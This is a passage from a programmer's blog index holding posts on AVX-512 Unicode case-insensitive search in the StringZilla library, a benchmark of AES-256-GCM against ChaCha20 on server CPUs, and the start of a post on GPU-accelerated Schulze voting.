Ita 0.06 0.97 8.87 🇳🇱 Dut 0.06 0.86 7.99 🇩🇪 Ger 0.06 0.90 6.08 🇫🇷 Fra 0.06 1.10 6.83 🇪🇸 Spa 0.06 1.02 6.33 🇵🇹 Por 0.06 1.10 8.12 🇵🇱 Pol 0.06 1.29 8.02 🇨🇿 Cze 0.06 1.38 6.36 🇻🇳 Vie 0.05 1.07 1.12 🇷🇺 Rus 0.10 2.30 5.70 🇺🇦 Ukr 0.10 2.26 5.35 🇬🇷 Gre 0.09 1.38 2.48 🇦🇲 Arm 0.11 2.07 0.86 🇹🇷 Tur 0.06 1.49 5.25 🇬🇪 Geo 0.16 3.20 0.62 🇮🇱 Heb 0.11 2.92 15.72 🇸🇦 Ara 0.08 3.01 14.78 🇮🇷 Per 0.09 2.36 10.70 🇨🇳 Chi 0.09 5.40 13.94 🇧🇩 Ben 0.14 4.51 21.19 🇮🇳 Tam 0.16 5.81 23.11 🇯🇵 Jap 0.10 4.88 13.17 🇰🇷 Kor 0.06 4.59 20.05 I was genuinely quite surprised that the regex module outperformed stringzilla on Armenian, so there must be a lot more things I can optimize in future releases. In the meantime, feel free to reproduce the benchmarks on your hardware, but keep in mind that the numbers won\u0026rsquo;t be as impressive if you don\u0026rsquo;t have AVX-512. More ISA backends will come in the future.\nReproducing Benchmarks The original Serial vs AVX-512 benchmarks can be found right inside the StringZilla repository. To run it locally:\n1 2 3 4 5 6 7 8 9 git clone https://github.com/ashvardanian/StringZilla.git \u0026amp;\u0026amp; cd StringZilla cmake -D STRINGZILLA_BUILD_BENCHMARK=1 -B build_release cmake --build build_release --config Release --target stringzilla_bench_unicode_cpp20 STRINGWARS_DATASET=README.md \\ STRINGWARS_TOKENS=words \\ STRINGWARS_DURATION=30 \\ STRINGWARS_FILTER=\u0026#34;case_insensitive_find\u0026#34; \\ build_release/stringzilla_bench_unicode_cpp20 For the Rust StringWars suite the similar environment variables can be used:\n1 2 3 4 5 6 7 git clone https://github.com/ashvardanian/StringWars.git \u0026amp;\u0026amp; cd StringWars STRINGWARS_DATASET=README.md \\ STRINGWARS_TOKENS=words \\ STRINGWARS_FILTER=\u0026#34;case-insensitive-find\u0026#34; \\ RUSTFLAGS=\u0026#34;-C target-cpu=native\u0026#34; \\ cargo criterion --features \u0026#34;bench_unicode\u0026#34; bench_unicode --jobs 1 Similarly, for the Python benchmarks:\n1 2 3 4 5 6 git clone https://github.com/ashvardanian/StringWars.git \u0026amp;\u0026amp; cd StringWars STRINGWARS_DATASET=README.md \\ STRINGWARS_TOKENS=words \\ STRINGWARS_FILTER=\u0026#34;case-insensitive-find\u0026#34; \\ uv run bench_unicode.py To run on the same files, fetch the datasets listed in StringWars, and pull them with curl like this:\n1 2 3 curl -fL https://downloads.wortschatz-leipzig.de/corpora/eng_wikipedia_2016_1M.tar.gz | tar -xzf - -O \u0026#39;eng_wikipedia_2016_1M/eng_wikipedia_2016_1M-sentences.txt\u0026#39; | cut -f2 \u0026gt; leipzig1M_en.txt curl -fL https://downloads.wortschatz-leipzig.de/corpora/deu_wikipedia_2021_1M.tar.gz | tar -xzf - -O \u0026#39;deu_wikipedia_2021_1M/deu_wikipedia_2021_1M-sentences.txt\u0026#39; | cut -f2 \u0026gt; leipzig1M_de.txt curl -fL https://downloads.wortschatz-leipzig.de/corpora/rus_wikipedia_2021_1M.tar.gz | tar -xzf - -O \u0026#39;rus_wikipedia_2021_1M/rus_wikipedia_2021_1M-sentences.txt\u0026#39; | cut -f2 \u0026gt; leipzig1M_ru.txt Kernel Optimizations Every script family has its own folding kernel and \u0026ldquo;alarm\u0026rdquo;. The fold rewrites bytes in place so probes can reuse the same verifier, while the alarm spots ligatures or shrinking expansions that require a slow-path correction. The \u0026ldquo;naive\u0026rdquo; approach is to check equality against each byte value, then prefix-AND masks of consecutive 1-, 2-, or 3-byte sequences, and finally OR all danger masks together.\nIn the Unicode 17 folding tables we target, multi-codepoint fold expansions never produce 4-byte UTF-8 sequences, so the expansion slow-path can safely ignore them.\nThat, however, introduces a remarkable amount of port pressure on x86 CPUs. The VPCMPB K, ZMM, ZMM instruction takes:\n3 cycles on port 5 on Ice Lake. 5 cycles on ports 0 or 1 on AMD Zen 4. Shifting the produced masks between K registers and ALUs and expanding them back to ZMMs for further processing is similarly expensive. So next to every \u0026ldquo;naive\u0026rdquo; baseline kernel for AVX-512 - I wrote \u0026ldquo;efficient\u0026rdquo; versions using harder-to-trace logic, but comparing every streamed-through buffer against the \u0026ldquo;naive\u0026rdquo; baseline in debug builds to ensure correctness.\nEquality Comparisons Port Pressure The Western/Central alarms originally hammered port 5 with 12+ equality checks every 64 bytes. By compressing entire ranges into a single subtraction + comparison and deriving the actual member with VPTESTNMB, we freed the port for real work.\n1 2 3 4 __mmask64 in_e1_e2 = _mm512_cmplt_epu8_mask(off_e1, _mm512_set1_epi8(0x02)); __mmask64 is_e1 = in_e1_e2 \u0026amp; _mm512_testn_epi8_mask(off_e1, off_e1); __mmask64 is_e2 = in_e1_e2 \u0026amp; ~is_e1; __mmask64 danger = ((is_e1 \u0026lt;\u0026lt; 1) \u0026amp; is_ba) | ((is_e2 \u0026lt;\u0026lt; 1) \u0026amp; is_84); Central Europe performs the same trick for the C3–C5 block: one range check plus two ternary tests produce the \u0026lsquo;K\u0026rsquo;/\u0026lsquo;ß\u0026rsquo;/\u0026lsquo;İ\u0026rsquo;/\u0026lsquo;ſ\u0026rsquo; masks without congesting the execution unit.\n1 2 3 __mmask64 in_c3_c5 = _mm512_cmplt_epu8_mask(off_c3, _mm512_set1_epi8(0x03)); __mmask64 is_c3 = in_c3_c5 \u0026amp; _mm512_testn_epi8_mask(off_c3, off_c3); __mmask64 is_c5 = in_c3_c5 \u0026amp; _mm512_testn_epi8_mask(_mm512_xor_si512(off_c3, x_02), _mm512_xor_si512(off_c3, x_02)); Ternary Logic and Blends The ASCII fast path leans on ternary logic. For ≤3-byte windows we broadcast the first/middle/last byte, XOR the haystack at three offsets, merge via VPTERNLOG (imm8 0xFE), and let VPTESTNMB turn zero lanes into positions. No extra window replay is needed because all bytes are covered.\n1 2 3 4 5 __m512i diff0 = _mm512_xor_si512(h0, probe0); __m512i diff1 = _mm512_xor_si512(h1, probe1); __m512i diff2 = _mm512_xor_si512(h2, probe2); __m512i combined = _mm512_ternarylogic_epi64(diff0, diff1, diff2, 0xFE); __mmask64 matches = _mm512_testn_epi8_mask(combined, combined); For ≥4-byte windows we add a fourth probe plus a cached 16-byte window. Once the probes line up we replay the window via _mm_maskz_loadu_epi8 and only then call the shared verifier. The Greek folding kernel benefits from ternary logic even more: it builds five independent offset vectors (e.g., +0x20, -0x20, +0x26, +0x25, -1) and collapses them with two chained VPTERNLOGs before a single _mm512_add_epi8. That removes the eight-step mask-move chain we previously had and keeps port 5 from saturating.\n1 2 3 __m512i off123 = _mm512_ternarylogic_epi64(off1, off2, off3, 0xFE); offset_zmm = _mm512_ternarylogic_epi64(off123, off4, off5, 0xFE); result_zmm = _mm512_add_epi8(result_zmm, offset_zmm); Byte-Table Shuffles Greek and Cyrillic folds use VPSHUFB lookups instead of branchy ranges. We mask off the high nibble of each continuation byte, shuffle a 16-entry table, and add the resulting offset back to the register—three disjoint subranges handled in one go.\n1 2 3 __m512i high = _mm512_and_si512(_mm512_srli_epi16(text_zmm, 4), _mm512_set1_epi8(0x0F)); __m512i offsets = _mm512_shuffle_epi8(offset_lut, high); result_zmm = _mm512_add_epi8(result_zmm, offsets); For Greek we encode per-range offsets in a single LUT so that one shuffle handles the entire CE lead byte:\n+0x26 for \u0026#39;Ά\u0026#39;U\u0026#43;03860x CE 86 and friends +0x25 for \u0026#39;Έ\u0026#39;U\u0026#43;03880x CE 88 , \u0026#39;Ή\u0026#39;U\u0026#43;03890x CE 89 , \u0026#39;Ί\u0026#39;U\u0026#43;038A0x CE 8A +0x20 for \u0026#39;Α\u0026#39;U\u0026#43;03910x CE 91 – \u0026#39;Ο\u0026#39;U\u0026#43;039F0x CE 9F -0x20 for \u0026#39;Π\u0026#39;U\u0026#43;03A00x CE A0 – \u0026#39;Ω\u0026#39;U\u0026#43;03A90x CE A9 and dialytika cases Cyrillic is even tidier: every uppercase lives in D0 80–D0 AF, and every lowercase twin sits either +0x10, +0x20, or -0x20 away in the same byte lane. Mapping the high nibble of the 2nd UTF-8 byte (8, 9, A) into those offsets lets a single VPSHUFB drive the entire block, while a post-shuffle mask flips D0→D1 whenever the nibble was 8 or A.\nUsing StringZilla At this point you must be itching to try it out. StringZilla is available under the Apache 2.0 license on GitHub: github.com/ashvardanian/StringZilla. Several language bindings already have the Unicode functionality exposed. One important detail: offsets and lengths in the Unicode APIs are in bytes, not codepoints.\nC and C++ APIs StringZilla is header-only. No linking, no runtime deps, no nonsense. Copy the headers, add a submodule, or use CMake FetchContent:\n1 2 3 4 5 6 7 include(FetchContent) FetchContent_Declare( stringzilla GIT_REPOSITORY https://github.com/ashvardanian/StringZilla.git GIT_TAG v4.5.0 # pin a version tag, don\u0026#39;t chase `main` ) FetchContent_MakeAvailable(stringzilla) But if you are building Operating Systems, Browsers, or Database Engines - you can probably tolerate some extra legwork if it brings you multi-versioned kernels with dynamic dispatch at runtime. It means compiling StringZilla as a separate library with all ISA backends enabled, shipping it alongside your binaries, and expecting it to automatically detect if the CPU supports every weird SIMD instruction set you care about.\n1 2 target_link_libraries(your_target PRIVATE stringzilla::stringzilla_shared) # also links LibC target_link_libraries(your_target PRIVATE stringzilla::stringzilla_bare) # no LibC linkage If you want to further reduce the latency of dynamic dispatch and use some other feature-detection mechanism, you can still manually address the different backends, grab the function pointers, and call them directly:\n1 2 3 4 5 6 sz_find(text, length, pattern, 3); // Auto-dispatch sz_find_westmere(text, length, pattern, 3); // Intel Westmere+ SSE4.2 sz_find_haswell(text, length, pattern, 3); // Intel Haswell+ AVX2 sz_find_skylake(text, length, pattern, 3); // Intel Skylake+ AVX-512 sz_find_neon(text, length, pattern, 3); // Arm NEON 128-bit sz_find_sve(text, length, pattern, 3); // Arm SVE 128/256/512/1024/2048-bit Unicode case folding expands characters, so the output buffer must be at least 3× larger than the input.\n1 2 3 4 5 6 #include \u0026lt;string.h\u0026gt; #include \u0026lt;stringzilla/stringzilla.h\u0026gt; char source[] = \u0026#34;Straße\u0026#34;; char destination[64]; // Must be at least 3× source length sz_size_t result_len = sz_utf8_case_fold(source, strlen(source), destination); The case-insensitive search API returns a pointer to the start of the first match (or NULL if not found). It also outputs the length of the matched substring in bytes, which can differ from the needle length due to expansions.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include \u0026lt;string.h\u0026gt; #include \u0026lt;stringzilla/stringzilla.h\u0026gt; char const *haystack = \u0026#34;Der große Hund\u0026#34;; char const *needle = \u0026#34;GROSSE\u0026#34;; sz_size_t haystack_len = strlen(haystack); sz_size_t needle_len = strlen(needle); sz_utf8_case_insensitive_needle_metadata_t metadata = {}; sz_size_t match_length = 0; sz_cptr_t match = sz_utf8_case_insensitive_find( haystack, haystack_len, needle, needle_len, \u0026amp;metadata, // Reuse for queries with the same needle \u0026amp;match_length // Output: bytes consumed in haystack ); if (match) printf(\u0026#34;match at byte %zu, length %zu\\n\u0026#34;, (size_t)(match - haystack), (size_t)match_length); In C++ the same functionality is exposed on string views and via a pre-compiled needle type:\n1 2 3 4 5 6 7 namespace sz = ashvardanian::stringzilla; sz::string_view text = \u0026#34;Der große Hund\u0026#34;; auto [offset, length] = text.utf8_case_insensitive_find(\u0026#34;GROSSE\u0026#34;); sz::utf8_case_insensitive_needle pattern(\u0026#34;STRASSE\u0026#34;); auto match = sz::string_view(\u0026#34;Straße\u0026#34;).utf8_case_insensitive_find(pattern); CPython Bindings StringZilla is in the top 1% of Python\u0026rsquo;s most downloaded packages on PyPI. Installation should be trivial:\n1 pip install stringzilla It will pull one of the 96 platform-specific wheels compiled per release, at the time of writing.\nI love to flex, that for comparison, NumPy ships 74 wheels per release. And unlike NumPy, StringZilla doesn\u0026rsquo;t redirect calls to your BLAS (or LibC in this case) - it ships hand-rolled kernels for every popular ISA family. Oh\u0026hellip; and there is also a separate package for parallel extensions on GPUs and high core-count CPUs, which makes this comparison even more unfair. So in case you are doing Web-scale LLM dataset preprocessing Common Crawl at some Frontier AI lab or aligned/sketching Petabytes of protein and DNA data - to snatch the next Biology Nobel Prize before AlphaFold 4 comes out, install one of these too:\n1 2 pip install stringzilla-cpus # Multi-core CPU parallelism pip install stringzilla-cuda # NVIDIA GPU acceleration More on this topic in the \u0026ldquo;Processing Strings 109x Faster than Nvidia on H100\u0026rdquo; post 🤗\nOnce installed, case-insensitive search is a one-liner:\n1 2 3 4 5 import stringzilla as sz sz.utf8_case_insensitive_find(\u0026#34;Der große Hund\u0026#34;, \u0026#34;GROSSE\u0026#34;) # 4 (byte offset) sz.utf8_case_insensitive_find(\u0026#34;Straße\u0026#34;, \u0026#34;STRASSE\u0026#34;) # 0 — ß matches \u0026#34;SS\u0026#34; sz.utf8_case_insensitive_find(\u0026#34;efficient\u0026#34;, \u0026#34;EFFICIENT\u0026#34;) # 0 — ffi ligature matches \u0026#34;FFI\u0026#34; For repeated searches, use the iterator - it can reuse internal needle metadata:\n1 2 3 4 5 import stringzilla as sz haystack = \u0026#34;Straße STRASSE strasse\u0026#34; for match in sz.utf8_case_insensitive_find_iter(haystack, \u0026#34;strasse\u0026#34;): print(match, match.offset_within(haystack)) Rust Bindings Same story in Rust:\n1 cargo add stringzilla You get both a one-off function and a pre-compiled needle type:\n1 2 3 4 5 6 use stringzilla::stringzilla::{utf8_case_insensitive_find, Utf8CaseInsensitiveNeedle}; assert_eq!(utf8_case_insensitive_find(\u0026#34;Straße\u0026#34;, \u0026#34;STRASSE\u0026#34;), Some((0, 7))); let needle = Utf8CaseInsensitiveNeedle::new(b\u0026#34;STRASSE\u0026#34;); assert_eq!(utf8_case_insensitive_find(\u0026#34;strasse\u0026#34;, \u0026amp;needle), Some((0, 7))); Swift Bindings Add the package in SwiftPM:\n1 2 3 dependencies: [ .package(url: \u0026#34;https://github.com/ashvardanian/stringzilla\u0026#34;) ] Then search:\n1 2 3 4 5 6 7 import StringZilla let haystack = \u0026#34;Der große Hund\u0026#34; let needle = \u0026#34;GROSSE\u0026#34; if let range = haystack.utf8CaseInsensitiveFind(substring: needle) { print(haystack[range]) } Node.js Bindings JavaScript bindings are available via NPM:\n1 npm install stringzilla That said, due to the extreme fragmentation of the JavaScript ecosystem - I\u0026rsquo;m never quite sure about how smooth the installation will be on your environment. There are also limitations to accessing the internal contents of strings in JavaScript, so the API expects Buffers instead of strings. That\u0026rsquo;s true for pretty much all of StringZilla functionality in Node.js.\n1 2 3 4 5 6 7 8 9 import sz from \u0026#34;stringzilla\u0026#34;; const text = Buffer.from(\u0026#34;Straße\u0026#34;); const patternBytes = Buffer.from(\u0026#34;STRASSE\u0026#34;); console.log(sz.utf8CaseInsensitiveFind(text, patternBytes)); // { index: 0n, length: 7n } (byte offsets) const pattern = new sz.Utf8CaseInsensitiveNeedle(patternBytes); console.log(pattern.findIn(text)); GoLang Bindings GoLang installation might be the trickiest, as it uses a different Assembly syntax and calling convention. Yes, you still need to go get the package, but before that you need to pull the precompiled shared libraries from GitHub Releases and place them in your dynamic linker path:\n1 go get github.com/ashvardanian/stringzilla/golang@latest You can grab the binaries from GitHub Releases.\nOn Linux, that\u0026rsquo;s typically LD_LIBRARY_PATH. On macOS, that\u0026rsquo;s DYLD_LIBRARY_PATH.\nSadly, that\u0026rsquo;s a common limitation of Go. Moreover, switching from Go\u0026rsquo;s lightweight goroutines to OS threads for calling into C is also quite expensive, so you won\u0026rsquo;t win much unless you are calling into a longer operation. It meant limited applicability of StringZilla in Go for operations like hashing and exact substring search, but case-insensitive search over Unicode is a much better fit, so the bindings are available:\n1 2 3 4 5 6 7 8 9 10 11 package main import ( \u0026#34;fmt\u0026#34; sz \u0026#34;github.com/ashvardanian/stringzilla/golang\u0026#34; ) func main() { start64, len64, _ := sz.Utf8CaseInsensitiveFind(\u0026#34;Straße\u0026#34;, \u0026#34;STRASSE\u0026#34;, true) fmt.Println(start64, len64) // 0 7 } Future Plans There are clearly some blind spots in the library. Georgian script deserves its own SIMD kernels, Korean and other language performance can also clearly be improved. Even more importantly, porting this to Arm won\u0026rsquo;t be trivial. I don\u0026rsquo;t expect this workload to benefit much from SVE2, so NEON will be the main target. It\u0026rsquo;s limited to 128-bit vectors, so to stick to the same 64-byte wide blocks with up-to 16-byte safe slices, we\u0026rsquo;ll need to process 4 vectors in parallel, also covering inter-register boundaries with intra-register shuffles\u0026hellip;\nI won\u0026rsquo;t be doing that tomorrow. There is one more massive open-source release I want to finish this year and you\u0026rsquo;ll never guess what it is about, but here\u0026rsquo;s a hint 😉\nThis is the ugliest, but potentially the most important piece of open-source software I\u0026#39;ve written this year.\nIn short: I grouped all Unicode 17 case-folding rules and wrote ~3K lines of AVX-512 kernels around them to enable fully compliant case-insensitive substring search… pic.twitter.com/uKz0QyU6FO\n\u0026mdash; Ash Vardanian (@ashvardanian) December 15, 2025 ","permalink":"https://ashvardanian.com/posts/search-utf8/","summary":"\u003cp\u003eThis article is about the ugliest, but potentially most useful piece of open-source software I\u0026rsquo;ve written this year.\nIt\u0026rsquo;s messy, because UTF-8 is messy.\nThe world\u0026rsquo;s most widely used text encoding standard was introduced in 1989.\nIt now covers more than 1 million characters across the majority of used writing systems, so it\u0026rsquo;s not exactly trivial to work with.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Searching UTF-8 in AVX-512: Safer and Faster\" loading=\"lazy\" src=\"/search-utf8/search-utf8-example.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe example above contains multiple confusable characters: German Eszett variants \u003cspan class=\"runes-annot\"\u003e\n  \u003cstrong\u003e\u0026#39;ß\u0026#39;\u003c/strong\u003e\u003cspan class=\"runes-stack\"\u003e\u003ccode\u003eU\u0026#43;00DF\u003c/code\u003e\u003ccode\u003e0x C3 9F\u003c/code\u003e\u003c/span\u003e\n\u003c/span\u003e\n and \u003cspan class=\"runes-annot\"\u003e\n  \u003cstrong\u003e\u0026#39;ẞ\u0026#39;\u003c/strong\u003e\u003cspan class=\"runes-stack\"\u003e\u003ccode\u003eU\u0026#43;1E9E\u003c/code\u003e\u003ccode\u003e0x E1 BA 9E\u003c/code\u003e\u003c/span\u003e\n\u003c/span\u003e\n, the Kelvin sign \u003cspan class=\"runes-annot\"\u003e\n  \u003cstrong\u003e\u0026#39;K\u0026#39;\u003c/strong\u003e\u003cspan class=\"runes-stack\"\u003e\u003ccode\u003eU\u0026#43;212A\u003c/code\u003e\u003ccode\u003e0x E2 84 AA\u003c/code\u003e\u003c/span\u003e\n\u003c/span\u003e\n and ASCII \u003cspan class=\"runes-annot\"\u003e\n  \u003cstrong\u003e\u0026#39;k\u0026#39;\u003c/strong\u003e\u003cspan class=\"runes-stack\"\u003e\u003ccode\u003eU\u0026#43;006B\u003c/code\u003e\u003ccode\u003e0x 6B\u003c/code\u003e\u003c/span\u003e\n\u003c/span\u003e\n, and Greek mu \u003cspan class=\"runes-annot\"\u003e\n  \u003cstrong\u003e\u0026#39;μ\u0026#39;\u003c/strong\u003e\u003cspan class=\"runes-stack\"\u003e\u003ccode\u003eU\u0026#43;03BC\u003c/code\u003e\u003ccode\u003e0x CE BC\u003c/code\u003e\u003c/span\u003e\n\u003c/span\u003e\n vs the micro sign \u003cspan class=\"runes-annot\"\u003e\n  \u003cstrong\u003e\u0026#39;µ\u0026#39;\u003c/strong\u003e\u003cspan class=\"runes-stack\"\u003e\u003ccode\u003eU\u0026#43;00B5\u003c/code\u003e\u003ccode\u003e0x C2 B5\u003c/code\u003e\u003c/span\u003e\n\u003c/span\u003e\n.\nTry guessing which is which and how they are encoded in UTF-8!\u003c/p\u003e","title":"Full Unicode Search at 50× ICU Speed with AVX‑512"},{"content":"Ten years ago Cloudflare published the \u0026ldquo;Do the ChaCha: better mobile performance with cryptography\u0026rdquo; blog post showing \u0026ldquo;ChaCha20-Poly1305\u0026rdquo; edging out \u0026ldquo;AES-256-GCM\u0026rdquo; on phones that lacked AES acceleration. Today almost every CPU ships with wide SIMD registers and AES instructions. Apple\u0026rsquo;s A14 ₂₀₂₀, M1 ₂₀₂₀, and every successor include AES acceleration, and the same is true for most mid-range and flagship Android SoCs. So does that 2015 advice still hold in 2025?\nI wanted a definitive answer for the ongoing UCall rewrite, so I compared them across different AWS server SKUs with the ring Rust crate, which keeps the benchmarks reproducible while exercising the same kernels shipped in mobile TLS stacks.\nTLDR: AES wins. Sometimes, by 3x!\nBenchmark Results The benchmarking setup is as follows:\nWorkloads: encryption and decryption. Input sizes: tiny inputs ~100 bytes (for header-only HTTP messages), larger messages ~1 KB (closer to TCP Maximum Transmission Unit). Hardware: Apple M2 Pro, Intel Ice Lake on *6i and Sapphire Rapids on *7i, AMD Zen 3 on *6a, Zen 4 on *7a, Zen 5 on *8a, AWS Graviton 2 on *6g, Graviton 3 on *7g, Graviton 4 on *8g. The suite also includes the sodiumoxide bindings for the minimalistic libsodium, as well as OpenSSL bindings and key generation benchmarks.\nAssuming that key generation is not on the critical path for most applications, I\u0026rsquo;ve excluded those numbers here. You can reproduce them by cloning the StringWars repository and running:\n1 2 3 RUSTFLAGS=\u0026#34;-C target-cpu=native\u0026#34; STRINGWARS_DATASET=dataset/path.txt \\ STRINGWARS_TOKENS=lines STRINGWARS_FILTER=\u0026#34;cryption/ring\u0026#34; \\ cargo criterion --features bench_encryption bench_encryption The \u0026ldquo;Speedup\u0026rdquo; column lists the AES-256-GCM throughput divided by ChaCha20 across the ~100 B and 1 KB payloads, so 150% means AES is 1.5× faster. I\u0026rsquo;ve tried to sort the table by the approximate release date of the CPU architecture - from 2020 to 2025, but there is often a year-long gap between the architecture announcement and the actual availability of consumer hardware, so take it with a grain of salt. Each cell contains the single-core throughput in MB/s for the given cipher and operation, defining a range between the tiny and larger inputs. Naturally, heavily vectorized encryption kernels perform better on larger inputs.\nCPU\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;ChaCha20\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;AES-256\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;AES Speedup \u0026nbsp;\u0026nbsp;Encryption\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;Decryption\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;Encryption\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;Decryption\u0026nbsp;\u0026nbsp; Graviton 2 168 - 503 197 - 491 292 - 1,065 412 - 1,104 91 - 118% Zen 3 436 - 1,425 598 - 1,296 524 - 2,849 770 - 2,420 24 - 93% Ice Lake 396 - 1,158 461 - 1,151 577 - 2,617 820 - 2,618 62 - 127% Zen 4 456 - 1,410 486 - 1,244 652 - 3,040 796 - 2,290 53 - 100% Graviton 3 249 - 778 275 - 696 470 - 1,926 656 - 2,246 114 - 185% Sapphire 393 - 1,195 422 - 1,081 614 - 2,891 850 - 2,476 79 - 135% M2 Pro 327 - 1,088 402 - 1,021 661 - 3,131 1,069 - 3,932 134 - 236% Zen 5 467 - 1,580 475 - 1,755 862 - 3,731 1,012 - 5,044 99 - 162% Graviton 4 280 - 895 310 - 794 563 - 2,436 753 - 2,781 122 - 211% Most OpenSSL- or GnuTLS-based stacks already prioritize AES-GCM suites, so these figures mirror what production servers negotiate today; ChaCha mainly surfaces when clients lack AES hardware and force the fallback. It\u0026rsquo;s worth noting that the ring crate borrows most of its assembly kernels from BoringSSL, which in turn is a fork of OpenSSL. So these numbers are representative of what you would get in most production-grade TLS libraries. That said, Rust bindings of several crypto libraries showed 3x lower performance, so binding quality matters as well.\nConclusion If you need a hardware-friendly TLS cipher in 2025 you should probably pick AES-256-GCM, which conveniently matches the default ordering in modern OpenSSL and GnuTLS builds. The \u0026ldquo;mobile devices need ChaCha20\u0026rdquo; advice from 2015 no longer applies to modern chips.\nSkip standards compliance and you can push even further. The \u0026ldquo;Too Much Crypto\u0026rdquo; 2019 paper suggests that both ChaCha20 and AES are overkill:\nAES-256: performs 14 rounds, but needs only ~11. ChaCha20: performs 20 rounds, but needs only ~8. I\u0026rsquo;ve used the same AES primitives to build the high-velocity, high-throughput StringZilla hashes described a couple of articles ago. SVE2 AES extensions, which most TLS stacks ignore, already delivered a 40% hashing uplift on Graviton 4 for tiny inputs. Wider CPUs only amplify SIMD-friendly code, and the fresh Zen 5 based *8a instances pushed StringZilla to 2'241 MiB/s — roughly 2× faster than xxHash3 and aHash. So pick AES and vectorize!\nSIMD throughput on AMD Zen5 is impressive... even on tiny, irregularly sized inputs!\nComputing word hashes for dictionary lookups:\n• Rust standard lib: 333 MiB/s\n• xxHash3: 998 MiB/s\n• aHash: 1\u0026#39;159 MiB/s\n• StringZilla: 2\u0026#39;241 MiB/s 🦖\nFinishing StringWars / StringZilla… https://t.co/7fR6JYTLwk pic.twitter.com/vHuNwjiSY7\n\u0026mdash; Ash Vardanian (@ashvardanian) November 7, 2025 ","permalink":"https://ashvardanian.com/posts/chacha-vs-aes-2025/","summary":"\u003cp\u003eTen years ago Cloudflare published the \u003ca href=\"https://blog.cloudflare.com/do-the-chacha-better-mobile-performance-with-cryptography\"\u003e\u0026ldquo;Do the ChaCha: better mobile performance with cryptography\u0026rdquo; blog post\u003c/a\u003e showing \u003ca href=\"https://en.wikipedia.org/wiki/ChaCha20-Poly1305\"\u003e\u0026ldquo;ChaCha20-Poly1305\u0026rdquo;\u003c/a\u003e edging out \u0026ldquo;AES-256-GCM\u0026rdquo; on phones that lacked AES acceleration.\nToday almost every CPU ships with wide \u003ca href=\"https://en.wikipedia.org/wiki/Single_instruction,_multiple_data\"\u003eSIMD\u003c/a\u003e registers and \u003ca href=\"https://en.wikipedia.org/wiki/AES_instruction_set\"\u003eAES instructions\u003c/a\u003e.\nApple\u0026rsquo;s A14 ₂₀₂₀, M1 ₂₀₂₀, and every successor include AES acceleration, and the same is true for most mid-range and flagship Android SoCs.\nSo does that 2015 advice still hold in 2025?\u003c/p\u003e\n\u003cp\u003eI wanted a definitive answer for the ongoing \u003ca href=\"https://github.com/unum-cloud/UCall\"\u003eUCall\u003c/a\u003e rewrite, so I compared them across different AWS server SKUs with the \u003ca href=\"https://crates.io/crates/ring\"\u003ering\u003c/a\u003e Rust crate, which keeps the benchmarks reproducible while exercising the same kernels shipped in mobile TLS stacks.\u003c/p\u003e","title":"Tuning TLS: AES-256 Beats ChaCha20 on Every CPU"},{"content":"Last summer, me, Chris Lattner, and a bunch of other people across the industry gathered together for a GPU-programming hackathon at the AGI House in San Francisco. After one too many LLM optimizations, I decided to accelerate something nobody asked for!\nMost elections use simple plurality voting — whoever gets the most votes wins. But there are \u0026ldquo;fairer\u0026rdquo; methods that consider ranked preferences, like the Schulze method used by Wikimedia Foundation, Debian, and pirate parties worldwide. The catch? It scales $O(n³)$ with the number of candidates.\nFor $n=10000$, ten thousand candidates, that\u0026rsquo;s a trillion operations. Time to bring out the GPUs!\nI don\u0026rsquo;t carry an illusion that the Schulze method is perfect. No voting system is. Nor do I think that direct democracy is a silver bullet. Nor do I think that governments in short term will transition to it. Still, the same algorithmic ideas apply to other problems, and later in the article we\u0026rsquo;ll see what \u0026ldquo;algebraic graph theory\u0026rdquo; and \u0026ldquo;tropical semirings\u0026rdquo; have to do with it.\nBirds Eye View and the Results Let\u0026rsquo;s start with the dessert - the results! I wrote an adaptation of the Schulze voting method in a tiled parallel fashion.\nThere is a reference implementation in Numba, that JIT-compiles our Python code into optimized parallel kernel using LLVM under the hood. There is a hand-written CUDA C++ implementation, tailored for Nvidia GPUs, wrapped with PyBind11, built without a single line of CMake, callable from Python. There is a Mojo 🔥 implementation, that runs on both CPUs and GPUs, across Nvidia and AMD. During the hackathon, our friends from Nebius gave everyone access to their Nvidia H100 GPUs. Later, I\u0026rsquo;ve compared them to massive AWS m8i.metal-96xl with 6th Gen Intel Xeon Scalable CPUs, spanning 384 cores across 2 sockets. AMD GPU testing proved challenging during this timeframe, though I was eventually able to evaluate MI300 and MI355X with some community help!\nImplementation 2'048 4'096 8'192 16'384 32'768 Intel, 384 CPU cores Numba Python 34.4 gcs 86.8 gcs 74.6 gcs 76.7 gcs 101.4 gcs Mojo 🔥 37.9 gcs 59.8 gcs 76.6 gcs 80.7 gcs 82.3 gcs Mojo 🔥, with SIMD 62.1 gcs 171.5 gcs 357.3 gcs 369.0 gcs 293.1 gcs Nvidia GPUs CUDA, H100 182.7 gcs 264.1 gcs 495.3 gcs 600.7 gcs 921.4 gcs Mojo 🔥, H100 153.4 gcs 232.6 gcs 408.0 gcs 635.3 gcs 893.7 gcs AMD GPUs Mojo 🔥, MI300 456.7 gcs 906.3 gcs 1.5 tcs 1.9 tcs 2.8 tcs Mojo 🔥, MI355X 830.8 gcs 1.5 tcs 2.4 tcs 2.9 tcs 3.5 tcs Each implementation felt different! I haven\u0026rsquo;t spent much time optimizing the Mojo code, given the hackathon-ish nature of the project, and didn\u0026rsquo;t have prior experience with it. What struck me most was Mojo\u0026rsquo;s ability to address a challenge that frameworks like OpenAI\u0026rsquo;s Triton and Nvidia\u0026rsquo;s CuTile don\u0026rsquo;t solve: not only can the kernel code be efficient, but the surrounding orchestration logic as well. More on that later.\nVoting Methods 101 There\u0026rsquo;s an entire field of voting theory, and a plethora of voting methods. You can group them:\nBy ballot type - single-mark (choose one), approval (choose any), ranking (order all). By winner count - single-winner (most methods), multi-winner (proportional representation, single transferable vote). By number of rounds - single-round (plurality, approval), multi-round (runoff, instant-runoff), and iterative (Schulze, Kemeny-Young). Another way is to group them by computational complexity:\n$O(n)$: Plurality, approval 